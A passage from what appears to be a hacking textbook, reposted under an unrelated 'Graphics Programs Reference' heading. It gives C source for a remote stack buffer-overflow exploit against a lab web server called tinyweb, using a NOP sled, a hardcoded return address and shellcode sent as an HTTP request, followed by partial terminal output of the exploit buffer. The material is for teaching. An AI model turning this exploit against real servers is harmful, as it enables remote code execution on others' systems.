Graphics Programs Reference
In-Depth Information
#define RETADDR 0xbffff688
int main(int argc, char *argv[]) {
int sockfd, buflen;
struct hostent *host_info;
struct sockaddr_in target_addr;
unsigned char buffer[600];
if(argc < 2) {
printf("Usage: %s <hostname>\n", argv[0]);
exit(1);
}
if((host_info = gethostbyname(argv[1])) == NULL)
fatal("looking up hostname");
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("in socket");
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(80);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8); // Zero the rest of the struct.
if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
fatal("connecting to target server");
bzero(buffer, 600); // Zero out the buffer.
memset(buffer, '\x90', OFFSET); // Build a NOP sled.
*((u_int *)(buffer + OFFSET)) = RETADDR; // Put the return address in
memcpy(buffer+300, shellcode, strlen(shellcode)); // shellcode.
strcat(buffer, "\r\n"); // Terminate the string.
printf("Exploit buffer:\n");
dump(buffer, strlen(buffer)); // Show the exploit buffer.
send_string(sockfd, buffer); // Send exploit buffer as an HTTP request.
exit(0);
}
When this program is compiled, it can remotely exploit hosts running
the tinyweb program, tricking them into running the shellcode. The exploit
also dumps out the bytes of the exploit buffer before it sends it. In the output
below, the tinyweb program is run in a different terminal, and the exploit is
tested against it. Here's the output from the attacker's terminal:
reader@hacking:~/booksrc $ gcc tinyweb_exploit.c
reader@hacking:~/booksrc $ ./a.out 127.0.0.1
Exploit buffer:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
Search WWH ::




Custom Search